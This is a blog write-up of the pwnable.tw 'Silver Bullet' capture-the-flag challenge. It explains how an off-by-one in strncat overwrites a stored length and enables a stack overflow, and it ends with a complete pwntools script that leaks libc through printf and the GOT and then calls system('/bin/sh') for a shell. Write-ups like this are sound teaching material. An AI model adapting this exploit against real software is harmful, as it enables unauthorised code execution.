BACK TO ALL BLOGS

Silver Bullet - pwnable.tw

12/29/2025
Binary Exploitpwnable.tw

Challenge Description

File type

bash
1$ file silver_bullet
2silver_bullet: ELF 32-bit LSB executable, Intel i386, version 1 (SYSV), dynamically linked, interpreter ./ld-2.23.so, for GNU/Linux 2.6.32, BuildID[sha1]=8c95d92edf8bf47b6c9c450e882b7142bf656a92, not stripped

Binary Protection

bash
1$ checksec silver_bullet
2[*] './silver_bullet'
3 Arch: i386-32-little
4 RELRO: Full RELRO
5 Stack: No canary found
6 NX: NX enabled
7 PIE: No PIE (0x8046000)
8 Stripped: No

Background

  • silver_bullet gives us operations to interact with Silver Bullet and Werewolf. Power of a Silver Bullet is based on the length of user's input string.
plaintext
1+++++++++++++++++++++++++++
2 Silver Bullet
3+++++++++++++++++++++++++++
4 1. Create a Silver Bullet
5 2. Power up Silver Bullet
6 3. Beat the Werewolf
7 4. Return
8+++++++++++++++++++++++++++
9Your choice :1
10Give me your description of bullet :abc
11Your power is : 3
12Good luck !!
13+++++++++++++++++++++++++++
14 Silver Bullet
15+++++++++++++++++++++++++++
16 1. Create a Silver Bullet
17 2. Power up Silver Bullet
18 3. Beat the Werewolf
19 4. Return
20+++++++++++++++++++++++++++
21Your choice :2
22Give me your another description of bullet :def
23Your new power is : 6
24Enjoy it !
25+++++++++++++++++++++++++++
26 Silver Bullet
27+++++++++++++++++++++++++++
28 1. Create a Silver Bullet
29 2. Power up Silver Bullet
30 3. Beat the Werewolf
31 4. Return
32+++++++++++++++++++++++++++
33Your choice :3
34>----------- Werewolf -----------<
35 + NAME : Gin
36 + HP : 2147483647
37>--------------------------------<
38Try to beat it .....
39Sorry ... It still alive !!
40Give me more power !!
41+++++++++++++++++++++++++++
42 Silver Bullet
43+++++++++++++++++++++++++++
44 1. Create a Silver Bullet
45 2. Power up Silver Bullet
46 3. Beat the Werewolf
47 4. Return
48+++++++++++++++++++++++++++
49Your choice :4
50Don't give up !
  • The program manages all information about Silver Bullet and Werewolf through local variables. Maximum power of Silver Bullet is 48:
c
1int __cdecl main(int argc, const char **argv, const char **envp)
2{
3 int v3; // eax
4 int werewolfHP; // [esp+0h] [ebp-3Ch] BYREF
5 const char *werewolfName; // [esp+4h] [ebp-38h]
6 char silverBullet[48]; // [esp+8h] [ebp-34h] BYREF
7 int powerBullet; // [esp+38h] [ebp-4h]
8
9 init_proc();
10 powerBullet = 0;
11 memset(silverBullet, 0, sizeof(silverBullet));
12 werewolfHP = 0x7FFFFFFF;
13 werewolfName = "Gin";
14 while ( 1 )
15 {
16 while ( 1 )
17 {
18 while ( 1 )
19 {
20 while ( 1 )
21 {
22 menu();
23 v3 = read_int();
24 if ( v3 != 2 )
25 break;
26 power_up((int)silverBullet);
27 }
28 if ( v3 > 2 )
29 break;
30 if ( v3 != 1 )
31 goto LABEL_15;
32 create_bullet((int)silverBullet);
33 }
34 if ( v3 == 3 )
35 break;
36 if ( v3 == 4 )
37 {
38 puts("Don't give up !");
39 exit(0);
40 }
41LABEL_15:
42 puts("Invalid choice");
43 }
44 if ( beat((int)silverBullet, (int)&werewolfHP) )
45 return 0;
46 puts("Give me more power !!");
47 }
48}
  • These are 3 following important operations of the program:

    • Create a Silver Bullet:
    c
    1int __cdecl create_bullet(int silverBullet)
    2{
    3 int powerBullet; // [esp+0h] [ebp-4h]
    4
    5 if ( *(_BYTE *)silverBullet )
    6 return puts("You have been created the Bullet !");
    7 printf("Give me your description of bullet :");
    8 read_input(silverBullet, 48);
    9 powerBullet = strlen(silverBullet);
    10 printf("Your power is : %u\n", powerBullet);
    11 *(_DWORD *)(silverBullet + 48) = powerBullet;
    12 return puts("Good luck !!");
    13}
    • Power up Silver Bullet:
    c
    1int __cdecl power_up(int silverBullet)
    2{
    3 char addedBullet[48]; // [esp+0h] [ebp-34h] BYREF
    4 int addedPower; // [esp+30h] [ebp-4h]
    5
    6 addedPower = 0;
    7 memset(addedBullet, 0, sizeof(addedBullet));
    8 if ( !*(_BYTE *)silverBullet )
    9 return puts("You need create the bullet first !");
    10 if ( *(_DWORD *)(silverBullet + 48) > 47u )
    11 return puts("You can't power up any more !");
    12 printf("Give me your another description of bullet :");
    13 read_input((int)addedBullet, 48 - *(_DWORD *)(silverBullet + 48));
    14 strncat(silverBullet, (int)addedBullet, 48 - *(_DWORD *)(silverBullet + 48));
    15 addedPower = strlen(addedBullet) + *(_DWORD *)(silverBullet + 48);
    16 printf("Your new power is : %u\n", addedPower);
    17 *(_DWORD *)(silverBullet + 48) = addedPower;
    18 return puts("Enjoy it !");
    19}
    • Beat the Werewolf:
    c
    1int __cdecl beat(int bullets, int werewolf)
    2{
    3 if ( *(_BYTE *)bullets )
    4 {
    5 puts(">----------- Werewolf -----------<");
    6 printf(" + NAME : %s\n", *(const char **)(werewolf + 4));
    7 printf(" + HP : %d\n", *(_DWORD *)werewolf);
    8 puts(">--------------------------------<");
    9 puts("Try to beat it .....");
    10 usleep(1000000);
    11 *(_DWORD *)werewolf -= *(_DWORD *)(bullets + 48);
    12 if ( *(int *)werewolf <= 0 )
    13 {
    14 puts("Oh ! You win !!");
    15 return 1;
    16 }
    17 else
    18 {
    19 puts("Sorry ... It still alive !!");
    20 return 0;
    21 }
    22 }
    23 else
    24 {
    25 puts("You need create the bullet first !");
    26 return 0;
    27 }
    28}

Vulnerability

  • If we first create a Silver Bullet with length n, and then power it up by 48 - n; the program will show us that the power of our bullet is 48 - n instead 48 as we expected.
plaintext
1+++++++++++++++++++++++++++
2 Silver Bullet
3+++++++++++++++++++++++++++
4 1. Create a Silver Bullet
5 2. Power up Silver Bullet
6 3. Beat the Werewolf
7 4. Return
8+++++++++++++++++++++++++++
9Your choice :1
10Give me your description of bullet :aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa
11Your power is : 47
12Good luck !!
13+++++++++++++++++++++++++++
14 Silver Bullet
15+++++++++++++++++++++++++++
16 1. Create a Silver Bullet
17 2. Power up Silver Bullet
18 3. Beat the Werewolf
19 4. Return
20+++++++++++++++++++++++++++
21Your choice :2
22Give me your another description of bullet :a
23Your new power is : 1
24Enjoy it !
  • Therefore, there must be a vulnerable part of code in power_up() function. After examining it, I saw the problem that after strncat() append all characters from source string to destination string, it will automatically add terminator character at the end of destination string. If we concatenate a 1-long string with destination string (silverBullet) that has the length of 47, a null character will be written into silverBullet + 48. However, that memory address is also used to store the length of silverBullet string and it is updated after strncat() is called:
c
1strncat(silverBullet, (int)addedBullet, 48 - *(_DWORD *)(silverBullet + 48));
2addedPower = strlen(addedBullet) + *(_DWORD *)(silverBullet + 48);
3printf("Your new power is : %u\n", addedPower);
4*(_DWORD *)(silverBullet + 48) = addedPower;
  • It falsifies the actual silverBullet string. Then in next time of powering up, we can modify the variable showing the length of silverBullet string and do buffer-overflow since the binary doesn't have Stack Canary mitigation.

Exploitation

Buffer Overflow

  • First create a Silver Bullet having the power of 47. Then power it up by 1. This allows us to append more 47 characters after silverBullet string and modify the variable storing the length of that string (bulletPower) and the return address. However, to make main function return, we have to beat Werewolf immediately. Therefore, we have to change bulletPower variable to a bigger one.
  • When we can return to escape main function, we just need to write the return address to leak libc by using printf or puts and GOTs entries. After that, just return back to main function and do buffer-overflow again to get shell.

Exploit Code

python
1from pwn import *
2import utils
3
4context.terminal = "kitty"
5context.log_level = "debug"
6context.arch = "i386"
7
8TARGET = "./bin/silver_bullet"
9LIBC = "./lib/libc_32.so.6"
10
11target = process(TARGET)
12target = remote("chall.pwnable.tw", 10103)
13# gdb.attach(target, gdbscript="b *(main + 48)")
14
15exe = ELF(TARGET)
16libc = ELF(LIBC)
17def create_bullet(data: bytes):
18 target.sendafter(b"Your choice :", b"1")
19 target.sendafter(b"bullet :", data)
20
21def power_up(data: bytes):
22 target.sendafter(b"Your choice :", b"2")
23 target.sendafter(b"bullet :", data)
24
25def beat():
26 target.sendafter(b"Your choice :", b"3")
27
28create_bullet(b"A" * 47)
29power_up(b"A")
30payload = b"\xff" * 3 + b"A" * 4 + p32(exe.plt['printf']) + p32(exe.symbols['main']) + p32(exe.got['printf'])
31power_up(payload)
32beat()
33
34target.recvuntil(b"You win !!\n")
35printf_addr = u32(target.recv(4))
36libc.address = printf_addr - libc.symbols['printf']
37system_addr = libc.symbols['system']
38bin_sh_addr = libc.address + 0x158e8b
39
40create_bullet(b"A" * 47)
41power_up(b"A")
42payload = b"\xff" * 3 + b"B" * 4 + p32(system_addr) + b"C" * 4 + p32(bin_sh_addr)
43power_up(payload)
44beat()
45
46target.interactive()